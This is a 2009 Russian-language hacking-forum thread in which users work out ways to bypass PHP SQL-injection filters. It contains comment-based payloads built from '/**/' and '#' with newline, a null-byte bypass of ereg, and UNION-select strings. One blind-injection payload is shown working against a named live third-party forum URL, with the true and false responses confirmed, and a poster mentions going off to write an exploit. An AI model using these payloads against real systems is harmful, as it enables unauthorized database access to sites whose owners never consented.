ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

13.06.2009, 18:27
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Сообщение от Grey
А эта регулярка уже кривая:
(/*)*/select) - такое она пропустит
Если бы не
PHP код:
//Comments? We don't use comments in our queries, we leave 'em outside!
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false)
$fail = true;
|
|
|

13.06.2009, 18:33
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от mailbrush
Если бы не
PHP код:
//Comments? We don't use comments in our queries, we leave 'em outside!
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, ';') !== false)
$fail = true;
Не, а ты сразу не можешь все скопировать?
Я не телепат.
/**/and (/*)*/select substring(version(),1))=4
Ну такое к примеру прокатит, т.к. позиция первого /* будет равна 0. А strpos() ищет первое вхождение подстроки, в отличие от strrpos(), которая ищет последнее вхождение подстроки.
P.S. даже такое прокатит:
'/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть, тут позиция будет равна 1.
И такое тоже:
')/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть и скобку, тут позиция будет равна 2 (а вот 3 уже не прокатит).
Этого кстати должно хватить, получиться что то такое (к примеру):
1/**/and (/*)*/select substring(version(),1))=4
P.P.S. а на конце строке можно заюзать символ # (он тут не фильтруется) для за комментирования оставшийся части, правда при желание можно и не отбрасывать оставшуюся часть.
Последний раз редактировалось Grey; 13.06.2009 в 18:41..
|
|
|

13.06.2009, 19:43
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Ни один из вышеперечисленных вариантов не работает.
Код:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1
|
|
|

13.06.2009, 19:45
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от mailbrush
Ни один из вышеперечисленных вариантов не работает.
Код:
http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;id=1
1. А откуда берётся значение переменной $clean?
2. Ты смотришь сорцы той же версии, что и форум по линку?
P.S. а вообще тестить лучше на локалке.
Последний раз редактировалось Grey; 13.06.2009 в 19:54..
|
|
|

13.06.2009, 20:16
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Разобрался
Сорцы не смотрел, но понял, что без них сказать что то сложно (возможно фильтрация идет в квери_стринг, а может как то очень по хитрому и по этому позиция /* определяется не правильно (не так как нам нужно)), но нашел другой выход:
Пример:
условие выполняется верно:
http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1 +and+(%23)%0Aselect+5)=5
условие выполняется не верно:
http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1 +and+(%23)%0Aselect+5)=4
Вот в чем фишка # - тоже комментирует строку и его они забыли добавить в фильтр (как я уже отметил раньше), значит мы его и заюзаем.
Единственное нужно учитывать - это то, что он комментирует только 1 строку, делаем так:
id=1+and+(%23)%0Aselect+5)=4
Получается так:
id=1 and (#)
select 5)=4
т.е. получается, что часть строки (а именно та, в которой закрывающая скобка) в запросе не участвует, но служит отличной закуской для регулярки, позволяя обойти фильтр.
P.S. %23 - урл код это символа #, %0A - урл код новой строки.
P.P.S. пошел запрягать РоА на написание сплоента)
Последний раз редактировалось Grey; 13.06.2009 в 21:09..
|
|
|

13.06.2009, 20:49
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
PHP код:
if(ereg("^[0-9]+$",$ar["lid"] = $_GET['lid']))
{
$query = mysql_query("SELECT * FROM main WHERE lid = '$lid'");
Почему не работает вариант с NULL-байтом ? например, 5%00.Нулл байт же обходит проверку при ereg функциях.
|
|
|

13.06.2009, 21:16
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Grey, спасибо за объяснения, не ожидал такой помощи. Я тестил у себя на локале, но т.к. это локал, ссыль выложил на другой форум.
PS: Сорсы этого "фильтра" - http://forum.rockmanpm.com/Sources/Subs.php~
Последний раз редактировалось mailbrush; 13.06.2009 в 21:18..
|
|
|

13.06.2009, 21:41
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме: 7215020
Репутация:
1423
|
|
Сообщение от Велемир
Почему не работает вариант с NULL-байтом ? например, 5%00.Нулл байт же обходит проверку при ereg функциях.
Как именно не работает ? Как ты проверяешь ? меджик_квотес отключены ?
lid=2%00'+union+select+1--+ - должно работать
Последний раз редактировалось ElteRUS; 13.06.2009 в 21:51..
|
|
|

13.06.2009, 21:48
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
Велемир, пример того как ты обходил покажи
|
|
|

13.06.2009, 21:54
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Ээ...пасип,но уже не имеет смысла.Там кавычки включены оказывается.
Решил чутка поменять на локалхосте:
PHP код:
$c = mysql_connect("localhost","root","vertrigo");
$user = $_GET['user'];
if(ereg("^[0-9]+$",$user)) {
echo "Ты хакер,обошедший фильтрацию!";
$q = mysql_query("Select * from mysql.user where User='$user'");
$r = mysql_fetch_array($q);
print_r($r);
}
else {
echo "Хакер!";
}
Результат только на кавычку катит,а запрос не провести.Пробовал ставить 1%00order+by+1 и т.д.
Вообще,нашёл эту хрень на сайте,висящем на двиге,похожий на вордпресс. Есть переменные: lid,o,c,start,actions.Может,кто скажет точнее ?
Последний раз редактировалось Велемир; 13.06.2009 в 22:07..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|